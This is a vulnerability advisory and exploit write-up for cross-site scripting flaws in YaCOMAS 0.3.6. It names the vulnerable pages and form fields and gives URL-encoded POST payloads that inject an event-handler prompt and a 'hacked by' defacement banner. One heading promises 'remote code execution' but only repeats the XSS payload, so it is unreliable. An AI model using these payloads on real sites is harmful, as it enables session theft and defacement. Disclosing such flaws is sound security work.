source: https://www.securityfocus.com/bid/47089/info

YaCOMAS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

YaCOMAS 0.3.6 is vulnerable; other versions may also be affected. 

===================================================================
    YaCOMAS 0.3.6 Multiple vulnerability
===================================================================
     
Software:   Yacomas 0.3.6
Vendor:     http://yacomas.sourceforge.net/
Vuln Type:  Multiple Vulnerability
Download link:  http://patux.net/downloads/yacomas-0.3.6_alpha.tar.gz
Author:     Pr@fesOr X
contact:    profesor_x(at)otmail.com
Home:       www.ccat.edu.mx
Company:    Centro de Investigaciones en Alta Tecnologia
  
   
  
=========================
--Description  XSS  --
=========================
 
Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
 
Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.
 
===============================
--= Attack details No. 1 =--
===============================
 
This vulnerability affects /yacomas/asistente/index.php.
 
 
http://www.site.com/yacomas/asistente/index.php?opc=1
 
 
--URL encoded POST input S_apellidos was set to " onmouseover=prompt(11111111111) bad="
 
 
--The input is reflected inside a tag element between double quotes.
 
 
--details:  can you inyect this in the HTTP headers whit this data:
 
-----------------------
C_sexo=M&I_b_day=0&I_b_month=0&I_b_year=0&I_id_estado=0&I_id_estudios=0&I_id_tasistente=0&S_apellidos=%22%20onmouseover%3dprompt%2811111111111%29%20bad%3d%22&S_ciudad=&S_login=oijclpgk&S_mail=hola@ccat.edu.mx.tst&S_nombrep=oijclpgk&S_org=&S_passwd=rodolfo&S_passwd2=rodolfo&submit=Registrarme
------------------------
 
 
===============================
--= Vulnerable forms and variables =--
===============================
 
S_apellidos
s_ciudad
s_login
s_mail
s_nombrep
s_org
 
 
===============================
--= Attack XSS details No. 2 =--
===============================
 
http://www.site.com/yacomas/admin/index.php
 
 
--details:  can you inyect this in the HTTP headers whit this data in the Content-Length: header
 
------------------------------------------
 
S_login=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&S_passwd=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&submit=Iniciar
 
-------------------------------------------------------------------
 
 
==========================================
--= Attack XSS remote code execution No. 2 =--
==========================================
 
http://www.site.com/yacomas/admin/index.php
 
 
--details:  can you inyect this in the HTTP headers whit this data in the Content-Length: header
 
------------------------------------------
 
S_login=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&S_passwd=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&submit=Iniciar
 
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